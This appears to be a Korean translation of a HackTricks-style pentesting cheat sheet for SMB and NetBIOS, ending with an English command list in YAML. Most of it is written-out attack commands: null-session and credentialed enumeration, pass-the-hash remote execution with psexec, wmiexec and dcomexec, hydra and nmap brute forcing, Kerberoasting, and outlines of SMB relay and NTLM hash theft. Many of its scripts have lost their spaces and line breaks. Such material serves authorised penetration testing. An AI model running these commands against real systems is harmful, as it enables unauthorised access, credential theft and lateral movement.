네트워크 기본 입출력 시스템** (NetBIOS)**는 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크탑이 네트워크 하드웨어와 상호 작용하고 네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 TCP 포트 139를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 SMB는 ‘서버 메시지 블록’을 의미하며, 현대적으로는 **공통 인터넷 파일 시스템 (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
서버 메시지 블록 (SMB) 프로토콜은 클라이언트-서버 모델에서 작동하며, 파일, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 접근을 규제하기 위해 설계되었습니다. 주로 Windows 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, Samba 프로젝트는 SMB를 Linux 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
로컬 파일 시스템의 임의 부분을 나타내는 공유는 SMB 서버에 의해 제공될 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 독립적인 계층을 보여줍니다. **접근 제어 목록 (ACLs)**은 접근 권한을 정의하며, execute, read, **full access**와 같은 속성을 포함하여 사용자 권한에 대한 세밀한 제어를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
IPC$ Share
IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 enum4linux 유틸리티가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다:
운영 체제에 대한 정보
상위 도메인에 대한 세부 정보
로컬 사용자 및 그룹의 목록
사용 가능한 SMB 공유에 대한 정보
효과적인 시스템 보안 정책
이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 태세를 평가하는 데 중요합니다. enum4linux는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하며, 이는 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되도록 하는 데 필수적입니다.
enum4linux-atarget_ip
위의 명령은 enum4linux가 target_ip로 지정된 대상을 대상으로 전체 열거를 수행하는 방법의 예입니다.
NTLM이란
NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, 이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지 설명하는NTLM에 대한 이 페이지가 매우 흥미로울 것입니다:
SMB 버전의 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
MSF 보조 모듈 _auxiliary/scanner/smb/smb_version
또는 이 스크립트:
#!/bin/sh#Author: rewardone#Description:# Requires root or enough permissions to use tcpdump# Will listen for the first 7 packets of a null login# and grab the SMB Version#Notes:# Will sometimes not capture or will print multiple# lines. May need to run a second time for success.if [ -z $1 ]; thenecho"Usage: ./smbver.sh RHOST {RPORT}"&&exit; else rhost=$1; fiif [ !-z $2 ]; then rport=$2; else rport=139; fitcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo"exit"|smbclient-L $rhost 1>/dev/null2>/dev/nullecho""&&sleep.1
#Dump interesting informationenum4linux-a [-u "<username>"-p"<passwd>"]<IP>enum4linux-ng-A [-u "<username>"-p"<passwd>"]<IP>nmap--script"safe or smb-enum-*"-p445<IP>#Connect to the rpcrpcclient-U""-N<IP>#No credsrpcclient//machine.htb-Udomain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb--pw-nt-hashrpcclient-U"username%passwd"<IP>#With creds#You can use querydispinfo and enumdomusers to query user information#Dump user information/usr/share/doc/python3-impacket/examples/samrdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/samrdump.py-port445 [[domain/]username[:password]@]<targetName or address>#Map possible RPC endpoints/usr/share/doc/python3-impacket/examples/rpcdump.py-port135 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port445 [[domain/]username[:password]@]<targetName or address>
항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 null자격 증명/게스트 사용자를 사용해 보십시오.
smbclient--no-pass-L//<IP># Null usersmbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap-H<IP> [-P <PORT>]#Null usersmbmap-u"username"-p"password"-H<IP> [-P <PORT>]#Credssmbmap-u"username"-p"<NT>:<LM>"-H<IP> [-P <PORT>]#Pass-the-Hashsmbmap-R-u"username"-p"password"-H<IP> [-P <PORT>]#Recursive listcrackmapexecsmb<IP>-u''-p''--shares#Null usercrackmapexecsmb<IP>-u'username'-p'password'--shares#Guest usercrackmapexecsmb<IP>-u'username'-H'<HASH>'--shares#Guest user
공유 폴더 연결/목록
#Connect using smbclientsmbclient--no-pass//<IP>/<Folder>smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient#List with smbmap, without folder it list everythingsmbmap [-u "username"-p"password"]-R [Folder] -H <IP> [-P <PORT>] # Recursive listsmbmap [-u "username"-p"password"]-r [Folder] -H <IP> [-P <PORT>] # Non-Recursive listsmbmap-u"username"-p"<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
수동으로 윈도우 공유를 열거하고 연결하기
호스트 머신의 공유를 표시하는 데 제한이 있을 수 있으며, 이를 나열하려고 할 때 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해보는 것이 좋습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null 세션 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 및 NT_STATUS_BAD_NETWORK_NAME과 같은 응답을 찾아보는 것이 좋습니다. 이는 공유가 존재하지만 접근할 수 없거나 공유가 전혀 존재하지 않음을 나타낼 수 있습니다.
윈도우 타겟의 일반적인 공유 이름은 다음과 같습니다.
C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON
(_Network Security Assessment 3rd edition_의 일반적인 공유 이름)
다음 명령을 사용하여 이들에 연결해볼 수 있습니다.
smbclient-U'%'-N \\\\<IP>\\<SHARE># null session to connect to a windows sharesmbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
이 스크립트(널 세션 사용)
#/bin/baship='<TARGET-IP-HERE>'shares=('C$''D$''ADMIN$''IPC$''PRINT$''FAX$''SYSVOL''NETLOGON')for share in ${shares[*]}; dooutput=$(smbclient-U'%'-N \\\\$ip\\$share -c'')if [[ -z $output ]]; thenecho "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
elseecho $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)fidone
예시
smbclient-U'%'-N \\\\192.168.0.24\\im_clearly_not_here# returns NT_STATUS_BAD_NETWORK_NAMEsmbclient-U'%'-N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windows에서 공유를 나열하기 / 서드파티 도구 없이
PowerShell
# Retrieves the SMB shares on the locale computer.Get-SmbShareGet-WmiObject-Class Win32_Share# Retrieves the SMB shares on a remote computer.get-smbshare-CimSession "<computer name or session object>"# Retrieves the connections established from the local SMB client to the SMB servers.Get-SmbConnection
CMD 콘솔
# List shares on the local computernetshare# List shares on a remote computer (including hidden ones)netview \\<ip>/all
두 옵션 모두 새 서비스를 생성합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 무언가를 실행합니다 (psexec는 실행 파일을 ADMIN$ 공유에 업로드하고 smbexec는 cmd.exe/powershell.exe를 가리키며 인수로 페이로드를 넣습니다 --파일 없는 기법--).
자세한 정보는 psexec와 smbexec를 참조하십시오.
kali에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
#If no password is provided, it will be prompted./psexec.py [[domain/]username[:password]@]<targetName or address>./psexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hashpsexec \\192.168.122.66-uAdministrator-p123456Wwpsexec \\192.168.122.66-uAdministrator-pq23q34t34twd3w34t34wtw34t# Use pass the hash
Using parameter-k you can authenticate against kerberos instead of NTLM
디스크를 건드리거나 새로운 서비스를 실행하지 않고 포트 135를 통해 DCOM을 사용하여 명령 셸을 은밀하게 실행합니다.
kali에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
#If no password is provided, it will be prompted./wmiexec.py [[domain/]username[:password]@]<targetName or address>#Prompt for password./wmiexec.py-hashesLM:NTadministrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
매개변수-k를 사용하면 NTLM 대신 kerberos에 대해 인증할 수 있습니다.
#If no password is provided, it will be prompted./dcomexec.py [[domain/]username[:password]@]<targetName or address>./dcomexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
nmap--scriptsmb-brute-p445<IP>ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB 릴레이 공격
이 공격은 Responder 툴킷을 사용하여 내부 네트워크에서 SMB 인증 세션을 캡처하고, 이를 대상 머신으로 중계합니다. 인증 세션이 성공하면, 자동으로 시스템셸로 진입하게 됩니다.
이 공격에 대한 더 많은 정보는 여기에서 확인하세요.
SMB-Trap
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예: img src="\\10.10.10.10\path\image.jpg"
이는 다음 함수에서 발생합니다:
URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream
일부 브라우저와 도구(예: Skype)에서 사용됩니다.
MitMf를 이용한 SMBTrap
NTLM 탈취
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해, 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 SMB 릴레이 공격에 사용될 수 있습니다.
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'